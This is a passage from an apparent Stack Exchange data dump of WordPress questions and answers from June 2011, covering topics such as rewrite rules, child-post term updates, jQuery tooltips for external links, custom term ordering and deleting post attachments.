direct child copying&#xA;            wp_update_post( array( 'ID' =&amp;gt; ( int ) $child ) );&#xA;        }&#xA;&#xA;    }&#xA;}&#xA;add_action( 'wp_insert_post', '__update_children_with_terms', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the last line of the inner &lt;code&gt;foreach&lt;/code&gt; loop - if you only have &lt;code&gt;Top Level Parent =&amp;gt; Children&lt;/code&gt;, and not &lt;code&gt;Parent =&amp;gt; Child =&amp;gt; Grandchild&lt;/code&gt;, I highly recommend removing the following line;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_update_post( array( 'ID' =&amp;gt; ( int ) $child ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a recursive situation, that will loop over children and run the same process, continuing to iterate until the whole tree has been processed.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-26T16:07:33.900" CommentCount="6" />
  <row Id="21101" PostTypeId="2" ParentId="21094" CreationDate="2011-06-26T16:11:37.580" Score="0" ViewCount="" Body="&lt;p&gt;In general there are two things that can avoid the translation: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The string is not translated in the .mo/.po file&lt;/li&gt;&#xA;&lt;li&gt;THe string is not prepared for translation &lt;sup&gt;1)&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1)&lt;/sup&gt; This &lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers&quot; rel=&quot;nofollow&quot;&gt;explanation&lt;/a&gt; in Codex will explain the details. &lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-26T16:11:37.580" CommentCount="1" />
  <row Id="21102" PostTypeId="2" ParentId="21076" CreationDate="2011-06-26T16:37:32.963" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;When I do this, I get the desired&#xA;  result from this page, but all of my&#xA;  other page links break (using&#xA;  permalinks.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because, quite simply, WordPress hasn't got a clue you're asking for a page. It's doing what you told it to do;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For all URLs that look like &lt;code&gt;http://example.com/X&lt;/code&gt;, look for posts with messagetype's of &lt;code&gt;X&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's why you need the 'identifier' in there; so that it can distinguish the difference between requests for pages, archives, categories...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want this functionality, adding verbose rewrite rules at the top of the rewrite map would be the way to go;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule( 'media/?$', 'index.php?messagetypes=media', 'top' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you've got a lot of messagetypes, you might want to hook into the creation and deletion of terms and dynamically update &amp;amp; flush the rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, repeat the example for each term in your &lt;code&gt;functions.php&lt;/code&gt;, then flush your permalinks (just visit the permalink options page in admin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last thing, revert your &lt;code&gt;register_taxonomy&lt;/code&gt; call 'back to normal' i.e. leave out the &lt;code&gt;rewrite&lt;/code&gt; argument, and use the &lt;code&gt;term_link&lt;/code&gt; filter to swap in the custom permalink ourselves;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __custom_messagetypes_link( $link, $term, $taxonomy )&#xA;{&#xA;    if ( $taxonomy !== 'messagetypes' )&#xA;        return $link;&#xA;&#xA;    return str_replace( 'messagetypes/', '', $link );&#xA;}&#xA;add_filter( 'term_link', '__custom_messagetypes_link', 10, 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-26T16:37:32.963" CommentCount="1" />
  <row Id="21103" PostTypeId="2" ParentId="21098" CreationDate="2011-06-26T17:23:43.707" Score="4" ViewCount="" Body="&lt;p&gt;Make sure you've also boosted post_max_size to at least the same or greater. Check out &lt;a href=&quot;http://php.net/manual/en/ini.core.php#ini.post-max-size&quot; rel=&quot;nofollow&quot;&gt;the other precautions you should also take&lt;/a&gt; when doing so.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-26T17:23:43.707" />
  <row Id="21104" PostTypeId="2" ParentId="19128" CreationDate="2011-06-26T18:46:39.237" Score="0" ViewCount="" Body="&lt;p&gt;I am the author of the plugin. Try again, its back now.&lt;/p&gt;&#xA;" OwnerUserId="6513" LastActivityDate="2011-06-26T18:46:39.237" CommentCount="1" />
  <row Id="21105" PostTypeId="1" AcceptedAnswerId="21131" CreationDate="2011-06-26T18:50:22.727" Score="1" ViewCount="70" Body="&lt;p&gt;I am developing a website where I need a webcam chat plugin. I have tried many plugins from wordpress.org but none of them worked. Can anyone please suggest me a working plugin. &#xA;Plugins that did not work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;TokBox OpenTok Plugin&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the dashboard,it only pops up once&#xA;  i.e the first time the plugin is used&#xA;  and still the button to start webcam&#xA;  did not work(Also note that it did not&#xA;  show up my webcam.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resolved:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was with the dashboard. I uploaded the files and it started to work . Thanks&#xA; 2. Tinychat**&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Was unable to find API for it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;VideoWhisper Video Presentation&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Keeps on loading and does not work&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="2238" LastEditorDisplayName="" LastEditDate="2011-06-27T21:34:13.700" LastActivityDate="2011-07-28T05:22:48.857" Title="Need webcam chat plugin for my client" Tags="&lt;plugin-recommendation&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="21106" PostTypeId="2" ParentId="20992" CreationDate="2011-06-26T19:05:37.383" Score="0" ViewCount="" Body="&lt;p&gt;In the end, I went for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function species_custom_columns($column){&#xA;        global $post;&#xA;&#xA;        if (!isset($title)) {&#xA;            $title = $this-&amp;gt;getValue('genus',$post-&amp;gt;ID,TRUE) . ' ' . $this-&amp;gt;getValue('species',$post-&amp;gt;ID,TRUE);&#xA;        }&#xA;        if (!isset($post_url)) { $post_url = get_site_url() . &quot;/wp-admin/post.php?post=&quot; . $post-&amp;gt;ID . &quot;&amp;amp;action=edit&quot;; }&#xA;        if (!isset($post_url_frontend)) { $post_url_frontend = get_site_url() . &quot;/?p=&quot; . $post-&amp;gt;ID; }&#xA;&#xA;        $genus_species = &amp;lt;&amp;lt;&amp;lt;EOT&#xA;&amp;lt;strong&amp;gt;&#xA;&amp;lt;a class=&quot;row-title&quot; title=&quot;Edit “{$title}”&quot; href=&quot;{$post_url}&quot;&amp;gt;{$title}&amp;lt;/a&amp;gt;&#xA;&amp;lt;/strong&amp;gt;&#xA;&amp;lt;div class=&quot;row-actions&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;edit&quot;&amp;gt;&#xA;&amp;lt;a title=&quot;Edit species&quot; href=&quot;{$post_url}&quot;&amp;gt;Edit&amp;lt;/a&amp;gt;&#xA;|&#xA;&amp;lt;/span&amp;gt;&#xA;EOT;&#xA;        $genus_species .= $this-&amp;gt;delete_post_link('Trash', $title, '&amp;lt;span class=&quot;trash&quot;&amp;gt;', ' |&amp;lt;/span&amp;gt;');&#xA;&#xA;        $genus_species .= &amp;lt;&amp;lt;&amp;lt;EOT&#xA;&amp;lt;span class=&quot;view&quot;&amp;gt;&#xA;&amp;lt;a rel=&quot;permalink&quot; title=&quot;View “{$title}”&quot; href=&quot;{$post_url_frontend}&quot;&amp;gt;View&amp;lt;/a&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;EOT;&#xA;&#xA;        switch ($column) {&#xA;            case &quot;genus_species&quot;:&#xA;                echo $genus_species;&#xA;                break;&#xA;            case &quot;common_names&quot;:&#xA;                echo $this-&amp;gt;getValue('common_names',$post-&amp;gt;ID,TRUE);&#xA;                break;&#xA;            case &quot;family&quot;:&#xA;                echo $this-&amp;gt;getValue('family',$post-&amp;gt;ID,TRUE);&#xA;                break;&#xA;            case &quot;group&quot;:&#xA;                if (get_the_terms($post-&amp;gt;ID, 'group')) {&#xA;                    $taxonomy_ar = get_the_terms($post-&amp;gt;ID, 'group');&#xA;&#xA;                    $output = '&amp;lt;ul&amp;gt;';&#xA;                    foreach ($taxonomy_ar as $taxonomy_term) {&#xA;                        if ($taxonomy_term-&amp;gt;parent) {&#xA;                            $output .= '&amp;lt;li&amp;gt; &amp;lt;span style=&quot;font-size:6px;&quot;&amp;gt;&amp;amp;gt;&amp;lt;/span&amp;gt; '. $taxonomy_term-&amp;gt;name .'&amp;lt;/li&amp;gt;';&#xA;                        } else {&#xA;                            $output .= '&amp;lt;li&amp;gt;'. $taxonomy_term-&amp;gt;name .'&amp;lt;/li&amp;gt;';&#xA;                        }&#xA;                    }&#xA;                    $output .= '&amp;lt;/ul&amp;gt;';&#xA;&#xA;                    echo $output;&#xA;                }&#xA;                break;&#xA;            case &quot;excerpt&quot;:&#xA;                //echo the_excerpt();&#xA;                break;&#xA;            case &quot;date_modified&quot;:&#xA;                echo the_modified_date('F j, Y @ g:i a');&#xA;                break;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems to do the trick!&lt;/p&gt;&#xA;" OwnerUserId="6344" LastActivityDate="2011-06-26T19:05:37.383" />
  <row Id="21107" PostTypeId="1" AcceptedAnswerId="21122" CreationDate="2011-06-26T19:09:02.483" Score="0" ViewCount="58" Body="&lt;p&gt;On my site I have multiple authors, who can add/edit/delete custom posts and upload (attach) images to those posts. The problem is - when they delete their posts, attachments stay on the server. So, I would like to get rid of all files attached to the post when it gets deleted. Can anyone share and example how it's done?&lt;/p&gt;&#xA;" OwnerUserId="5744" LastActivityDate="2011-06-26T21:54:50.360" Title="Delete post with all files attached to it" Tags="&lt;posts&gt;&lt;attachments&gt;" AnswerCount="1" />
  <row Id="21108" PostTypeId="1" CreationDate="2011-06-26T19:12:57.787" Score="1" ViewCount="94" Body="&lt;p&gt;We wish to have ALL external links within a Wordpress site have a simple mouseover tooltip without having to place a title tag or rel or class tag within it. I've tried several methods using the $('a[href=http]') selector but can not for the life of me get anything to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I came up with that does work in a standard HTML page but can't get it to work within Wordpress. In theory this sounds so simple: find all external links and when moused over display this tooltip text...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready(function() {&#xA;&#xA;var changeTooltipPosition = function(event) {&#xA;  var tooltipX = event.pageX - 8;&#xA;  var tooltipY = event.pageY + 8;&#xA;  $('div.tooltip').css({top: tooltipY, left: tooltipX});&#xA;};&#xA;&#xA;var showTooltip = function(event) {&#xA;  $('div.tooltip').remove();&#xA;  $('&amp;lt;div class=&quot;tooltip&quot;&amp;gt;Clicking this link will exit this site.&amp;lt;/div&amp;gt;')&#xA;        .appendTo('body');&#xA;  changeTooltipPosition(event);&#xA;};&#xA;&#xA;var hideTooltip = function() {&#xA;   $('div.tooltip').remove();&#xA;};&#xA;&#xA;$('a[href*=http]').bind({&#xA;   mousemove : changeTooltipPosition,&#xA;   mouseenter : showTooltip,&#xA;   mouseleave: hideTooltip&#xA;});&#xA;});&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ANY help with this would be unbelievably appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6514" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-26T21:34:06.463" LastActivityDate="2011-06-27T17:09:08.733" Title="Can I make simple global tooltips in Wordpress?" Tags="&lt;jquery&gt;&lt;tooltip&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="21109" PostTypeId="1" AcceptedAnswerId="21118" CreationDate="2011-06-26T19:21:24.807" Score="0" ViewCount="39" Body="&lt;p&gt;Currently the Term Database has four columns. &lt;code&gt;term_id&lt;/code&gt; &lt;code&gt;name&lt;/code&gt; &lt;code&gt;slug&lt;/code&gt; &lt;code&gt;term_group&lt;/code&gt;. I would like to add another column called &lt;code&gt;menu_order&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outcome i want is to be able to order my custom terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone knows of a beter way to do this please let me know. So far i already have code that sets up the input box. I just need help trying to order it using the &lt;code&gt;get_terms()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action ( 'section_edit_form_fields', 'create_section_menu_order');&#xA;function create_section_menu_order( $tag ) &#xA;{&#xA;    //check for existing featured ID&#xA;    $section_order = get_option( 'section_menu_order' );&#xA;    $order_id = '';&#xA;    if ( is_array( $section_order ) &amp;amp;&amp;amp; array_key_exists( $tag-&amp;gt;term_id, $section_order ) ) {&#xA;        $order_id = $section_order[$tag-&amp;gt;term_id];&#xA;    }&#xA;    ?&amp;gt;&#xA;        &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;            &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;section_menu_order&quot;&amp;gt;&amp;lt;?php _e('Order') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;section_menu_order&quot; id=&quot;section_menu_order&quot; size=&quot;10&quot; style=&quot;width:60px;&quot; maxlength=&quot;6&quot; value=&quot;&amp;lt;?php echo $order_id; ?&amp;gt;&quot;&amp;gt;&amp;lt;br /&amp;gt;&#xA;                &amp;lt;span class=&quot;description&quot;&amp;gt;The order your Sections will show. (Numeric digits only)&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;add_action ( 'edited_section', 'save_section_menu_order');&#xA;function save_section_menu_order( $term_id ) &#xA;{&#xA;    if ( isset( $_POST['section_menu_order'] ) &amp;amp;&amp;amp; is_numeric($term_id)) &#xA;    {&#xA;        $section_menu_order = get_option( 'section_menu_order' ); //load existing category featured option&#xA;        $section_menu_order[$term_id] = intval( $_POST['section_menu_order'] ); //set featured post ID to proper category ID in options array   &#xA;        update_option( 'section_menu_order', $section_menu_order ); //save the option array&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2011-06-26T21:30:51.257" Title="Add Column to Term Database" Tags="&lt;php&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="21110" PostTypeId="1" AcceptedAnswerId="21111" CreationDate="2011-06-26T19:31:55.957" Score="1" ViewCount="52" Body="&lt;p&gt;i am building a lists plugin .... i want to have a custom post type &quot;lists&quot; and then obviously also there would be a number of list items for each list .... i have read a fair bit of stuff about taxonomies vs postmeta but i'm still unsure as to which i should use or maybe something else ... it seems taxonomies are really more for categorising things ( like taxonomy colour, group etc ) and postmeta is more for attributes associated with a post eg ( url, phone number, price etc ) .... so it would seem that list items should be postmeta data, but my problem is that i want to have unlimited list items in the same way you could have unlimited taxonomy terms however is postmeta suitable for this .... it doestn look to me like something you'd create a new one of on the fly.... any comments ..... or maybe i should be doing it a different way altogether &lt;/p&gt;&#xA;&#xA;&lt;p&gt;also i will need to be able to somehow group list items also and do a couple of other things with them eg sorting them via ajax (drag and drop)&lt;/p&gt;&#xA;" OwnerUserId="6169" LastActivityDate="2011-06-27T01:06:13.343" Title="need advice on how to do a lists using custom post types - taxonomy vs postmeta" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;theme-development&gt;&lt;custom-taxonomy&gt;&lt;post-meta&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="21111" PostTypeId="2" ParentId="21110" CreationDate="2011-06-26T19:57:57.767" Score="2" ViewCount="" Body="&lt;p&gt;Lists of items are already implemented in WP core. They're called &lt;a href=&quot;http://en.support.wordpress.com/menus/&quot; rel=&quot;nofollow&quot;&gt;custom menus&lt;/a&gt;. They are stored as a custom post type + taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had assumed that your list items would be other posts, but I'm getting the impression that you just need them to be strings. In this case, menus would be overkill and you should store the list items as individual custom fields.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-27T01:06:13.343" LastActivityDate="2011-06-27T01:06:13.343" CommentCount="8" />
  <row Id="21112" PostTypeId="2" ParentId="21110" CreationDate="2011-06-26T20:09:26.833" Score="2" ViewCount="" Body="&lt;p&gt;The grouping would be the best fit for the taxonomies. The drag and drop can be achieved pretty easily. I've got a set of functions (including JS and CSS) you can see it all here &lt;a href=&quot;http://pastie.org/2125914&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/2125914&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the list content, postmeta would be the way to do it, but I haven't seen an &quot;add on the fly&quot; solution yet. I'd be interested in that myself.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-06-26T20:09:26.833" />
  <row Id="21113" PostTypeId="2" ParentId="21087" CreationDate="2011-06-26T20:12:46.597" Score="0" ViewCount="" Body="&lt;p&gt;the FeedWordPress plugin (http://feedwordpress.radgeek.com/) allows you to pull in and publish feeds on a schedule, set categories (and a CPT, if one has already been established). &lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-06-26T20:12:46.597" />
  <row Id="21114" PostTypeId="2" ParentId="20992" CreationDate="2011-06-26T20:16:58.947" Score="1" ViewCount="" Body="&lt;p&gt;Joost DeValk walked through the various options / setup in this post here: &lt;a href=&quot;http://yoast.com/custom-post-type-snippets/&quot; rel=&quot;nofollow&quot;&gt;http://yoast.com/custom-post-type-snippets/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-06-26T20:16:58.947" CommentCount="2" />
  <row Id="21116" PostTypeId="2" ParentId="21087" CreationDate="2011-06-26T21:24:02.697" Score="0" ViewCount="" Body="&lt;p&gt;I did a job like this. Essentially it is parse and &lt;code&gt;wp_insert_post()&lt;/code&gt;, but there are couple of fragile things to be aware of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;you need some way to reliably track items to prevent duplicates, my approach was to save unique identifier from XML as post's GUID in WP;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;wp_insert_term()&lt;/code&gt; checks for some user capabilities here and there. And in WP cron there is no user set up. I vaguely remember this caused me troubles with assigning custom taxonomy and since you need that - check source and properly test that code does work in cron.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-26T21:24:02.697" CommentCount="5" />
  <row Id="21117" PostTypeId="1" CreationDate="2011-06-26T21:29:13.823" Score="0" ViewCount="35" Body="&lt;p&gt;Well like it says - I edit a Page, I want to use bold or italics, or colours.&#xA;Or I want to add a break so that text appears on different lines, but whatever I do - when I save the page and view it Alla the formatting is gone and the text all appears on the same line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click the 'visual' tab it looks just as I'd like it, but not when I view the web site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would a style sheet override my formatting..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tony.&lt;/p&gt;&#xA;" OwnerUserId="6515" LastActivityDate="2011-08-27T15:35:29.457" Title="I can't format text in th edit page (or posts) whats wrong..?" Tags="&lt;posts&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21118" PostTypeId="2" ParentId="21109" CreationDate="2011-06-26T21:30:51.257" Score="0" ViewCount="" Body="&lt;p&gt;I have a feeling that modifying that table is not a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hadn't done something like this, but if I needed to deal with considerable amount of meta information for terms I'd try to leverage &lt;a href=&quot;http://codex.wordpress.org/Metadata_API&quot; rel=&quot;nofollow&quot;&gt;Metadata API&lt;/a&gt;, which for terms would involve &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_metadata#Add_Metadata_to_a_Term&quot; rel=&quot;nofollow&quot;&gt;setting up separate storage table&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-26T21:30:51.257" />
  <row Id="21119" PostTypeId="2" ParentId="21108" CreationDate="2011-06-26T21:33:10.053" Score="2" ViewCount="" Body="&lt;p&gt;If your code is working in general, but not in WP then this is very likely caused by jQuery being run in &lt;em&gt;no conflict&lt;/em&gt; mode by WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#jQuery_noConflict_wrappers&quot; rel=&quot;nofollow&quot;&gt;appropriate wrapper&lt;/a&gt; to use it as usual (with &lt;code&gt;$&lt;/code&gt; sign).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-26T21:33:10.053" CommentCount="1" />
  <row Id="21120" PostTypeId="2" ParentId="16121" CreationDate="2011-06-26T21:41:59.660" Score="1" ViewCount="" Body="&lt;p&gt;Custom meta isn't attached to revisions - only to the parent post, so there are no revisions for it.&#xA;You can do it manually by grabbing the post meta from the parent though.&lt;/p&gt;&#xA;" OwnerUserId="316" LastEditorUserId="316" LastEditorDisplayName="" LastEditDate="2011-06-28T05:52:10.020" LastActivityDate="2011-06-28T05:52:10.020" />
  <row Id="21121" PostTypeId="2" ParentId="21050" CreationDate="2011-06-26T21:47:05.563" Score="0" ViewCount="" Body="&lt;p&gt;Straightforward sorting by ID would be unreliable. Simply put IDs are not guaranteed to be sequential (even if they commonly are). One case would be import with custom IDs for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest to look into &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_adjacent_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_adjacent_post()&lt;/code&gt;&lt;/a&gt; function. It only retrieves one post by default, but it has extensive hooks for its SQL query and &lt;code&gt;LIMIT 1&lt;/code&gt; seems easy to override by filtering &lt;code&gt;get_{$adjacent}_post_sort&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I am not sure how/if that can be implemented with JSON API specifics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS do you really need to do this asynchronously via Ajax? Maybe setting up JS variables with data in page source would work better?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-26T21:47:05.563" />
  <row Id="21122" PostTypeId="2" ParentId="21107" CreationDate="2011-06-26T21:54:50.360" Score="0" ViewCount="" Body="&lt;p&gt;WP does not do this by default since there is no guarantee that attachment isn't still being used by some other post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic logic would be to hook into &lt;code&gt;delete_post&lt;/code&gt;, query for child attachments and run &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_delete_attachment&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_delete_attachment()&lt;/code&gt;&lt;/a&gt; on each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did quick search in plugin repository and came up with tiny plugin that does just that (seems unmaintained so test before use) - &lt;a href=&quot;http://wordpress.org/extend/plugins/delpost/&quot; rel=&quot;nofollow&quot;&gt;Post Data Delete Advanced&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-26T21:54:50.360" CommentCount="1" />
  <row Id="21123" PostTypeId="1" AcceptedAnswerId="21129" CreationDate="2011-06-26T22:09:07.520" Score="1" ViewCount="74" Body="&lt;p&gt;How should I completely disable the visual &lt;em&gt;and&lt;/em&gt; html editor from pages? I know I can disable the visual editor in my profile, but I am trying to lock down the content input areas so that my client doesn't muck things up.&lt;/p&gt;&#xA;" OwnerUserId="6318" LastActivityDate="2011-06-26T22:46:39.463" Title="Completely disable editor" Tags="&lt;editor&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="21124" PostTypeId="2" ParentId="21108" CreationDate="2011-06-26T22:10:46.230" Score="1" ViewCount="" Body="&lt;p&gt;Here you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($){&#xA;  $.fn.tips = function(){&#xA;    return this.each(function(i){&#xA;      var title = $(this).attr('title'),&#xA;          url = 'http://s.wordpress.com/mshots/v1/' + encodeURIComponent($(this).attr('href')) + '?w=400',&#xA;          message = 'By clicking this you are leaving my website :(',&#xA;          webshot = $('&amp;lt;div&amp;gt;&amp;lt;p&amp;gt;' + message + '&amp;lt;/p&amp;gt;&amp;lt;img src=&quot;' + url + '&quot; width=&quot;400&quot; alt=&quot;' + title + '&quot; /&amp;gt;&amp;lt;/div&amp;gt;').css({&#xA;            position: 'absolute',&#xA;            left: -20000,&#xA;            textAlign: 'center',&#xA;            color: '#ffffff',&#xA;            backgroundColor: 'rgba(0,0,0, 0.4)',&#xA;            padding: 10,&#xA;            zIndex: 40&#xA;          }).hide().appendTo(document.body);&#xA;&#xA;      return $(this).mouseover(function(){&#xA;        webshot.show();&#xA;      }).mousemove(function(kmouse){&#xA;        webshot.css({&#xA;          left: kmouse.pageX + 15,&#xA;          top: kmouse.pageY + 15&#xA;        });&#xA;      }).mouseout(function(){&#xA;        webshot.hide();&#xA;      });&#xA;&#xA;    });&#xA;&#xA;  };&#xA;&#xA;})(jQuery);&#xA;&#xA;jQuery(document).ready(function($){ &#xA;  // all links except the ones which reference starts with # or http://localhost&#xA;  $('a:not([href^=&quot;http://localhost&quot;], [href^=&quot;#&quot;])').tips();&#xA;});    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(change &lt;code&gt;localhost&lt;/code&gt; with your site address)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4568/auto-retrieve-youtube-image-for-thumbnail/5842#5842&quot;&gt;Thumbnails&lt;/a&gt; are retrieved from wordpress.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made this originally for a ping listing inside a theme, so if you're using this for all links, it might be a better idea to create the webshots on mouse over, not directly after document has loaded...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-06-27T17:09:08.733" LastActivityDate="2011-06-27T17:09:08.733" CommentCount="11" />
  <row Id="21126" PostTypeId="2" ParentId="20912" CreationDate="2011-06-26T22:40:15.070" Score="0" ViewCount="" Body="&lt;p&gt;Have you followed the &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/create-a-multi-layout-portfolio-with-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Create a Multi-Layout Portfolio with WordPress &lt;/a&gt; tutorial and seen a &lt;a href=&quot;http://code-pal.com/examples/create-a-multilayout-portfolio-with-wordpress-and-jquery/&quot; rel=&quot;nofollow&quot;&gt;working demo&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-06-26T22:40:15.070" />
